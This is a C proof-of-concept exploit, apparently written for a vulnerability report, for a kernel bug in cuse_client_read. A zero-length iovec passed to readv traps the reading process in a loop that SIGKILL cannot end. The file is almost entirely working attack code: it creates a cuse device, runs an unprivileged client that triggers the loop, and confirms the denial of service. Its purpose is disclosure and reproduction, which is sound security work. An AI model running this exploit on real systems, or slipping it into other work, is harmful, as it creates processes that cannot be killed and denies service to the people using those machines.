DF-4149 / cuse_zerolen.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 | /* * DF-4149 PoC - zero-length iovec => unkillable read loop in cuse_client_read * * cuse_client_read() (cuse.c:1661-1750) walks uio->uio_iov directly: * * while (uio->uio_resid != 0) { * len = uio->uio_iov->iov_len; <- can be 0 * ... send CUSE_CMD_READ, wait for server ... * else if (error == len) <- 0 == 0 * uiomove(NULL, 0, uio); <- NO progress * * uiomove() with count 0 never advances uio_iov past the empty iov => * the loop re-sends a 0-length READ command forever. After the first * signal cv_wait_sig is not used again inside that receive (error!=0 => * uninterruptible cv_wait), so SIGKILL is never delivered while the * server keeps replying: the reader becomes unkillable for as long as * the cuse server services commands. * * Trigger: readv(cuse_fd, [{NULL, 0}, {buf, 8}], 2) on any cuse device. */ #include <sys/types.h> #include <sys/uio.h> #include <sys/ioccom.h> #include <sys/ioctl.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> #define CUSE_ERR_NONE 0 enum { CUSE_CMD_NONE, CUSE_CMD_OPEN, CUSE_CMD_CLOSE, CUSE_CMD_READ, CUSE_CMD_WRITE, CUSE_CMD_IOCTL, CUSE_CMD_POLL, CUSE_CMD_SIGNAL, CUSE_CMD_SYNC, CUSE_CMD_MAX }; struct cuse_dev; struct cuse_data_chunk { uintptr_t local_ptr, peer_ptr; unsigned long length; }; struct cuse_command { struct cuse_dev *dev; unsigned long fflags; uintptr_t per_file_handle; uintptr_t data_pointer; unsigned long argument, command; }; struct cuse_create_dev { struct cuse_dev *dev; uid_t user_id; gid_t group_id; int permissions; char devname[80]; }; #define CUSE_IOCTL_GET_COMMAND _IOR('C', 0, struct cuse_command) #define CUSE_IOCTL_SYNC_COMMAND _IOW('C', 3, int) #define CUSE_IOCTL_CREATE_DEV _IOW('C', 8, struct cuse_create_dev) int main(void) { struct cuse_create_dev cd; struct cuse_command cmd; int fd, cfd, rv = CUSE_ERR_NONE; char buf[8]; struct iovec iov[2] = { { NULL, 0 }, { buf, sizeof(buf) } }; pid_t client; fd = open("/dev/cuse", O_RDWR); if (fd < 0) { perror("open /dev/cuse"); return 1; } memset(&cd, 0, sizeof(cd)); strlcpy(cd.devname, "cuse_zero0", sizeof(cd.devname)); cd.permissions = 0666; if (ioctl(fd, CUSE_IOCTL_CREATE_DEV, &cd) != 0) { perror("CREATE_DEV"); return 1; } /* wait for the client's OPEN and complete it */ client = fork(); if (client == 0) { setgid(65534); setuid(65534); cfd = -1; for (int i = 0; i < 200; i++) { cfd = open("/dev/cuse_zero0", O_RDWR); if (cfd >= 0) break; usleep(1000); } if (cfd < 0) _exit(9); printf("[+] client uid=%d entering readv(iov[0].len=0, iov[1].len=8)\n", getuid()); fflush(stdout); ssize_t r = readv(cfd, iov, 2); printf("[-] readv RETURNED %zd - loop terminated (bug NOT hit)\n", r); fflush(stdout); _exit(1); } if (ioctl(fd, CUSE_IOCTL_GET_COMMAND, &cmd) != 0) { perror("GET_COMMAND"); return 1; } ioctl(fd, CUSE_IOCTL_SYNC_COMMAND, &rv); /* complete the open */ printf("[+] server: open completed; now replying 0 to every READ\n"); /* pump: reply 0 to every READ command the looping client emits */ for (int i = 0; i < 4000; i++) { if (ioctl(fd, CUSE_IOCTL_GET_COMMAND, &cmd) != 0) break; if (ioctl(fd, CUSE_IOCTL_SYNC_COMMAND, &rv) != 0) break; } /* the client should now be stuck in the kernel; try to kill it */ printf("[*] kill -9 client...\n"); if (kill(client, SIGKILL) != 0) perror("kill"); sleep(2); int err = 0; if (waitpid(client, &err, WNOHANG) == 0) { printf("[+] client SURVIVED SIGKILL (unkillable, stuck in " "cuse_client_read loop) - DoS confirmed\n"); } else { printf("[-] client died from SIGKILL (loop not hit)\n"); } printf("[*] server exiting -> is_closing releases the client\n"); close(fd); sleep(2); waitpid(client, &err, WNOHANG); printf("[*] done (client should be gone now)\n"); return 0; } |